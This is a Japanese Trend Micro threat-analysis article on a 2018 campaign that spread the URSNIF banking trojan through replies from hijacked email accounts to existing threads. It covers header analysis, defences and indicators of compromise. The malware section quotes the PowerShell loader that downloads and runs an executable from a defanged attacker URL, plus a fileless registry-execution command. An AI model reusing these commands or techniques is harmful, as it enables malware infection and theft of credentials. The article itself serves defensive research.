乗っ取ったメールアカウントを利用し、既存スレッドへの返信で「URSNIF」を拡散するスパムメール送信活動を確認

通常、フィッシング攻撃では、本物に見える偽メールを利用し、添付した不正ファイルやテキストに埋め込んだ不正リンクを通してユーザの情報を窃取します。このような単純な手口を知っているユーザであれば気付くのは比較的容易です。しかし、2018 年 9 月のスパムメール送信活動では、より巧妙で気づかれにくい形の不正メールが確認されました。この攻撃では、乗っ取ったメールアカウントが利用され、既存スレッドに返信する形でマルウェアが添付された不正メールが送信されました。この不正メールは、進行中の会話の一部となっているため、気付くことがより困難です。ユーザは、手遅れになるまでサイバー攻撃を受けていることに気付くことができないかもしれません。

この攻撃は、2018年前半に Talos によって確認された、オンライン銀行詐欺ツール(バンキングトロジャン)「URSNIF(アースニフ)、別名:GOZI」を拡散するスパムメール送信活動とよく似ています。このスパムメール送信活動では、ボットネット「Dark Cloud」の一部となった乗っ取られた PC が利用され、既存のスレッドに対する返信として不正メールが送信されました。本記事で解説する攻撃は、もしかするとこの活動が継続または変化したものだと考えられます。

2018 年 10 月 9 日までに収集した情報によると、この攻撃活動は主に北米と欧州に影響を与えていますが、アジアおよび中南米地域でも類似した攻撃が確認されています。また、対象は教育、金融および電力業界のユーザが大半であるものの、不動産、運輸、製造業界、および政府系組織にも影響を与えています。

■不正メールの不審な点

図 1 は今回の攻撃で送信された不正メールの例です。正規メールと思いこませるための工夫が凝らされています。

不正メールの例、既存スレッドへの返信となっている
図 1:不正メールの例、既存スレッドへの返信となっている

不正メールの送信者はよく知る人物であり、内容が進行中の会話の一部となっているため、受信者は、この不正メールが既存スレッドへの返信だと容易に思い込んでしまいます。さらに、件名や文法にも不自然な点は無く、メールの末尾には署名まで入っています。

しかし、注意深く調べると、いくつかの不審な点が見えてきます。もっとも見えすいた明らかな齟齬は、言語がフランス語から英語に変わっている点です。加えて、不正メールの署名は正規メールのものとは異なります。さらに、不正メールの内容は汎用的で、特定の文脈に合致するものではありません。以上のような特徴は、攻撃の直接的な証拠にはならないとしても、その可能性を示す指標となります。しかし、日々大量のメールを確認するユーザにとっては特に、一見しただけではこのような細かな点に気付くのは困難かもしれません。

不正メールと正規メール
図 2:不正メール(左)と正規メール(右)、使用言語と署名が異なっている

■メールヘッダの解析

メールヘッダの解析から、この攻撃に関する興味深い側面を確認することができました。

不正メールのヘッダ情報(匿名化済み)
図 3:不正メールのヘッダ情報(匿名化済み)

ここで、注目すべき点が 3 つあります。

  1. 送信元情報が偽造されていない
    通常のスパムメールは、送信元情報を偽造し、代わりに SMTP ヘッダの「Return-Path」フィールドあるいは「Reply-To」フィールドに自身のメールアドレスを設定することで、対象からの返信メールを受信します。しかし、今回の攻撃ではそのどちらも存在しないため、このメールへの返信は送信元情報のメールアドレスに届きます。このことから、攻撃者は送信元メールアカウントにアクセスすることができると考えられます。
  2. 既存スレッドへの返信
    ヘッダに「In-Reply-To」フィールドや類似したその他の SMTP ヘッダフィールドが存在することから、既存スレッドへの返信であることが分かります。
  3. 「.com」ドメインから送信
    問題のメールが経由した最初のドメインは「rrcs-50-74-218-2[.]nyc.biz[.]rr[.]com」です。一般のユーザにとってはそれほどおかしなことのようには感じないかもしれませんが、リモートワーカーからのメールでない限り、通常、企業アカウントのメールは「sender.co.ca」のような企業ドメイン内のサーバから送信されます。

以上を踏まえると、乗っ取られたアカウントの所有者の所在に関わらず、問題のメールは米国から送信された確率が高いと考えられます。メール送信者の「.ca」というドメインからは、このアカウントの所有者の所在はカナダであることが分かります。

さらなる解析により、問題のドメインから異なるメールアドレスを使用したさまざまなメールが大量に送信されていることが分かりました。このメール送信活動はすべて 2018 年 9 月に確認されています。

多くの場合、添付ファイルの名称に、送信に利用されたアカウントの企業名が使われています。これは、より正規のメールのように見せるための手口だと考えられます。ファイル名の形式は、「<送信者の企業名+やり取りに関する単語(Inquiry、Request、等)>.doc」、あるいは単に「<送信者の企業名>.doc」でした。送信者の企業名とファイル名に一貫性があり、より正規のメールのように見えます。いくつかの事例では、「Inquiry」、「Statement」、「Request」のような汎用的なファイル名が利用されていました。

ヘッダ情報からは、この攻撃者は何らかの手法で正規アカウントを乗っ取り、「ビジネスメール詐欺(BEC)」にも似た今回の攻撃に利用しているということが推測されます。手口と技術が類似していることから、今回確認されたスパムメール送信活動は、上述した「URSNIF」を拡散するスパムメール送信活動の一部である疑いがあります。また、送信者の IP アドレスは、ゾンビ化されてボットネットの一部となった PC のものかもしれません。

■マルウェアの解析

レジストリ値を利用

ユーザが「.doc」形式の添付ファイルをダブルクリックすると、PowerShell が呼び出され、コマンド & コントロール(C&C)サーバからバンキングトロジャン「URSNIF」の最新バージョン(「TSPY_URSNIF.THAOOCAH」として検出)をダウンロードします。

powershell $VWc=new-object Net.WebClient;$wIt=’hxxp://t95dfesc2mo5jr[.]com/RTT/opanskot[.]php?l=targa2.tkn’.Split(‘@’);$jzK = ‘369’;$Aiz=$env:public+’\’+$jzK+’.exe’;foreach($fqd in $wIt){try{$VWc.DownloadFile($fqd, $Aiz);Invoke-Item $Aiz;break;}catch{}}

PowerShell によってダウンロードされるファイルは、メインのマルウェアのローダです。このローダは、まずオペレーティングシステム(OS)のバージョンを確認し、Windows Vista 以降の Microsoft OS でのみ自身の機能を実行します。また、CN(中国)やRU(ロシア)のような特定のロケールでは実行されません。マルウェアの実行全体を管理するこのローダは、テキストファイル「%User Temp%\<一時ファイル名>.bin」にイベントログを記録します。

マルウェアローダのログ
図 4:マルウェアローダのログ

このローダは、C&C サーバから追加のモジュールをダウンロードし、レジストリキー「HKEY_CURRENT_USER\Software\AppDataLow\Software\Microsoft\3A861D62-51E0-15700F2219A4」に保存します。

図 5 は、作成されたレジストリキーです。レジストリ値にはスクリプトおよびバイナリデータが含まれています。

スクリプトおよびバイナリデータが登録されたジストリ値
図 5:スクリプトおよびバイナリデータが登録されたジストリ値

このレジストリキーおよびレジストリ値のいくつかは PC 毎に異なりますが、レジストリキーの場所は常に「HKCU\Software\AppDataLow\Software\Microsoft\」です。
コンポーネントのダウンロード後、レジストリ値「comsxRes」に保存された PowerShell スクリプトが実行されます。以下は、「comsxRes」に設定されたバイナリデータを呼び出すコマンドライン命令です。なお、「comsxRes」という名称は感染 PC によって異なります。

exe /C powershell invoke-expression([System.Text.Encoding]::ASCII.GetString((get-itemproperty ‘HKCU:\Software\AppDataLow\Software\Microsoft\3A861D62-51E0-7C9D-AB0E-15700F2219A4’).comsxRes

レジストリ値「comsxRes」に登録されたデータの 16 進数表示
図 6:レジストリ値「comsxRes」に登録されたデータの 16 進数表示

「comsxRes」に設定されたこのスクリプトが、レジストリに設定されたバイナリデータを読み込むことで、ファイルを利用せずにマルウェアを実行します。図 7 は、16 進数でエンコードされたバイナリデータをコードに置き換えたものです。元のスクリプトも、末尾に base64 方式でエンコードされた部分を持っていましたが、読めるようにデコードしました。

レジストリに保存されたバイナリデータを置き換えたコード
図 7:レジストリに保存されたバイナリデータを置き換えたコード

このコードは、作成されたレジストリキーの中からレジストリ値「Client32/Client64」を検索し、メモリに常駐するために “explorer.exe” にコードを注入します。その他のレジストリ値は、注入されたマルウェアのコードが後から参照する際に必要となります。例えば、レジストリ値「TorClient」は、匿名ネットワーク「Tor」を介して C&C サーバと通信する際に利用されます。

情報窃取機能

最終的なマルウェアは、感染 PC のアーキテクチャによって「Client32」または「Client64」という名称を持つ DLL ファイルです。このマルウェアの主目的は以下のような情報を窃取することです。

  • システム情報
  • インストールされたアプリケーションの一覧
  • インストールされたドライバの一覧
  • 実行中プロセスの一覧
  • ネットワーク機器の一覧
  • 外部 IP アドレス
  • メールの認証情報(IMAP、POP3、SMTP)
  • クッキー
  • 電子証明書
  • 画面のキャプチャ動画(「.AVI」ファイル)
  • Web インジェクションによって窃取した金融関連の情報

bss セクションの暗号化

解析した URSNIF のバイナリファイルはすべて、共通して bss セクションを暗号化していました。bss セクションは、実行時に使用するすべての文字列を含んでおり、実行時にのみ復号されます。これにより、文字列の解析や逆コンパイルといった選択肢が使えなくなり、解析をより複雑なものとします。

サンドボックスによる解析を回避

サンドボックス技術を利用した解析によってサーバや設定に関する情報を取得されないために、URSNIF のコードはカーソルの位置を 2 度確認します。カーソルの位置に変化が無かった場合、URSNIF は、サンドボックスあるいはデバッガによって解析されている可能性があると判断します。このチェックは bss セクションを復号する前に実行され、サンドボックスを検知した場合は、無限ループを引き起こし、文字列を文字化けさせます。

攻撃者は、微調整を繰り返しながら、ユーザをだますためのより効果的な新しい方法を常に考案しています。今回の攻撃では、一般のユーザが気付くのを困難にするために、既存スレッドに不正メールを返信するという手法が利用されました。このような手法の変化は、サイバー犯罪者とセキュリティ専門家による「いたちごっこ」の一例に過ぎません。

■被害に遭わないためには

ユーザを信用させるようなやり取りによって、ユーザに情報を入力させる、あるいはマルウェアをダウンロードさせるといった、ソーシャルエンジニアリングの手法を利用したフィッシング攻撃は非常に効果的です。今回の事例で、ユーザが気付くのを困難にしている要因は、実際の企業アカウントを利用している点です。ユーザは、可能であれば二要素認証を利用することで、自身のオンラインアカウントを保護する必要があります。企業もまた、自社システムに二要素認証を統合、あるいは二要素認証を提供するサービスの使用を検討すべきです。

加えて、以下のようなベストプラクティスは、企業やその従業員がフィッシングメールに対処する上で役立ちます。

  • 企業のエンドユーザは、フィッシングメールとは何か、またそれはどのように実行されるのか等を把握し、不審なメールを見分ける方法を知っておく。
  • 預金の引き出しのような金融取引に関する不審な要求に注意を払い、適切な人員による承認を必須とする。
  • Word のセキュリティ設定の変更を要求するような文書は不正ファイルである可能性があるため、クリックは避ける。
  • 文脈を無視した内容、使用言語の変更、偽の署名など、不審メールを見分けるための特徴に留意する。

脅威の検出にとどまらず対応や回復までをカバーする「Managed Detection and Response(MDR)」サービスの利用も検討してください。

フィッシング攻撃の巧妙化に従い、社内の IT およびセキュリティチームにとって、ネットワークおよびエンドポイントの監視によってこのような攻撃の兆候を検出するのは容易ではありません。従業員のセキュリティ意識の向上は有効ではありますが、特に今回の事例のような場合、あるメールが正規のものか不正なものかを特定するのが困難な場合があります。

一般的な IT チームは、脅威リサーチおよび解析のトレーニングや経験が不足していることが多いため、Security Operation Center(セキュリティ・オペレーション・センター、SOC)を持たない企業にとっては、今回のような事例は大きな課題となります。そのような企業にとって、トレンドマイクロの MDR サービスのようなサードパーティのサービスの利用は、巧妙な脅威に対処する上で有効です。

通常、MDR チームは、エンドポイントおよびネットワークの両方を保護することができる強力なセキュリティ技術に精通した、経験を積んだ専門家で構成されます。単なる解析にとどまらず、攻撃において確認されたさまざまな環境指標を文脈に沿って整理することで調査の土台とすることが可能です。

■トレンドマイクロの対策

トレンドマイクロの法人向けエンドポイント製品「ウイルスバスター™ コーポレートエディション XG」や中小企業向けのクラウド型エンドポイントセキュリティサービス「ウイルスバスター™ ビジネスセキュリティ」は、不正なファイルを検出し、関連する不正な URL をブロックすることによって、強固な保護を提供します。メール攻撃対策製品「Deep Discovery™ Email Inspector」は、不正な添付ファイルや URLをブロックして法人組織を保護し、システムの感染および最終的な情報の窃取を防ぎます。

クロスジェネレーションで進化を続ける「XGen™ セキュリティ」は、AI 技術をはじめとする先進技術と実績の高いスレットインテリジェンスを融合した防御アプローチにより、データを保管するサーバ、データを交換するネットワーク、データを利用するユーザの各レイヤーで最適化されたセキュリティを提供します。Web/URL フィルタリング、挙動解析、カスタムサンドボックスのような機能を備えたクロスジェネレーション(XGen)セキュリティアプローチは、既知または未知/未公開の脆弱性を狙い、個人情報を窃取したり暗号化したりする脅威をブロックします。

■侵入の痕跡(Indicators of Compromise、IoC)

「.doc」ファイルのハッシュ値

「TROJ_FRS.VSN0BI18」または「Trojan.W97M.POWLOAD.SMY」として検出

  • bdd3f03fb074c55cf46d91963313966ce26afdb13b1444258f8f9e7e723d8395
  • dd7b4fc4d5cc1c1e25c800d5622423725a1b29000f93b658a54e267bbbe6f528
  • 4df47982fdd1ac336625600fa8c947d45909248309b117d05fc532a2260c7bc4
  • Detected as Trojan.W97M.POWLOAD.FGAIBT
  • f88ef62f2342f4d1105cfe85395b735efd3f0308b79551944983ce245d425510
  • 567fe3794a9eec27697ae0634861d284279261880887f60a7374c6cbe63b7674

「Trojan.W97M.POWLOAD.NSFGAIBF」として検出

  • 52d3ece98b6b3b686925156c3d62d8ce133fe3326e11b4c981c251452e4a41d2

「Trojan.W97M.POWLOAD.SMEMOT」として検出

  • 4d0762a6b2879d2fa821716db76bc980fdb3b8507611d2853df58c0d4127f9ea

「Trojan.W97M.POWLOAD.SMEMOT2」として検出

  • 47e2c66ba16e3ffa9704a13f2c00670319bf292b3d2aa7deede5442da02181e5
  • c2c946f7fd63fc15048a9af4043686f5a56b169e74cb36892fb8d1563b810467

「Trojan.W97M.POWLOAD.SMTHF3」として検出

  • 21ce42a1fc6631ed10db3d0e44b4ccb6d96a729fc494bd86a57cf07ff72cb8f2

「Trojan.W97M.POWLOAD.SMY」として検出

  • de8f8f39259992886da3b07635cbf121027379e5c1a156a32c6c6e5ace3cc4c3
  • 6b387b8534da9cc7cf0af4f2fb8c2a92f9316c0ea6ffb9cfe49b09b4c3df9778
  • 6bf99f4b17a07e788219333d96a7a19c9eddc1b49d16c2a21da255a6a16c80d5
  • 33d078881456e3b930c480803902fa28142b17c8550f3932e7cf4a1df0eb9213
  • 6ca2d4dcea456b9d4c87f211ed20bb32f71a0c78ee8059b934162e643d66e0c9
  • 82bee0c249b63f349d212a36f0b9ad90f909017ac734eac133353a1135d7474d
  • 1f2e12a58cc23f4e6e7f17b8c1a5c50b88614fda103577354b9564f2dffc257f

「W2KM_POWLOAD.FGAIBT」として検出

  • 1db71aec64d0e391a8c99f4f6ee214962a281733643ace0874cf69e2843f448c

「W2KM_POWLOAD.NSFGAIBF」として検出

  • c33d642da477f65c11daa9e8098b9917c4c5a6f131dd1369a20cb1b14c4cc261
  • 398e677290b1db00d8751c3498847ad9c7d10721630175d2506c4d45af19d229
  • 813a08d3b2216c89d42e8225c6de760d785905d1c76bd7428201d68c3c368f65

「W2KM_POWLOAD.THIACAH」として検出

  • 5aed7d6a3e8692143e53f9556cd3aa371149c96b91c02d1c659cb58d88572e47

ダウンロードされる「URSNIF」のハッシュ値

「TSPY_URSNIF.THAOOCAH」として検出

  • 0a38d92775cfc7182076d9a21c4937149ea8be6ebf22b9530afbca57d69c0d46

実行ファイルのハッシュ値

「TrojanSpy.Win32.URSNIF.BAIEF」として検出

  • 358bd52ac46755b1c6fa73805a7a355450f85f4bcf1b2e798a04960743390422

「TSPY_URSNIF.THAOOCAH」として検出

  • e8633f2f2b6b0b8f7348b4660e325ab25b87ec8faa40fb49eb0215b31bd276aa

「TSPY_URSNIF.BAIEB」として検出

  • f92ba10fe245c00575ae8031d4c721fe0ebb0820a4f45f3bbce02654a6e7f18d

ダウンロード URL

  • hxxp://t95dfesc2mo5jr[.]com/RTT/opanskot[.]php?l=targa2[.]tkn
  • hxxp://enduuyyhgeetyasd[.]com/RTT/opanskot[.]php?l=omg8[.]tkn
  • hxxp://q0fpkblizxfe1l[.]com/RTT/opanskot[.]php?l=targa4[.]tkn
  • hxxp://2dhtsif1a8jhyb[.]com/RTT/opanskot[.]php?l=okb1[.]tkn
  • hxxp://yrtw1djmj6eth7[.]com/RTT/opanskot[.]php?l=okb7[.]tkn
  • hxxp://popoasdzxcqe[.]com/YUY/huonasdh[.]php?l=rgr7[.]tkn
  • hxxp://q0fpkblizxfe1l[.]com/RTT/opanskot[.]php?l=targa2[.]tkn
  • hxxp://e3u1oz4an1dqmj[.]com/RTT/opanskot[.]php?l=okb9[.]tkn
  • hxxp://popoasdzxcqe[.]com/YUY/huonasdh[.]php?l=rgr3[.]tkn
  • hxxp://2dhtsif1a8jhyb[.]com/RTT/opanskot[.]php?l=okb5[.]tkn
  • hxxp://hbhbasdqweb[.]com/YUY/huonasdh[.]php?l=rgr4[.]tkn
  • hxxp://q0fpkblizxfe1l[.]com/RTT/opanskot[.]php?l=targa4[.]tkn

C&C サーバ

  • app[.]kartop[.]at
  • doc[.]dicin[.]at
  • doc[.]avitoon[.]at
  • app[.]avitoon[.]at
  • ops[.]twidix[.]at
  • xx[.]go10og[.]at
  • api[.]kartop[.]at
  • m1[.]fofon[.]at
  • cdn[.]kartop[.]at
  • api[.]tylron[.]at
  • chat[.]twidix[.]at
  • api[.]kaonok[.]at
  • chat[.]jimden[.]at
  • mahono[.]cn

※調査協力:Mark Manahan、Chloe Ordonia、Monte De Jesus

参考記事:

翻訳: 澤山 高士(Core Technology Marketing, TrendLabs)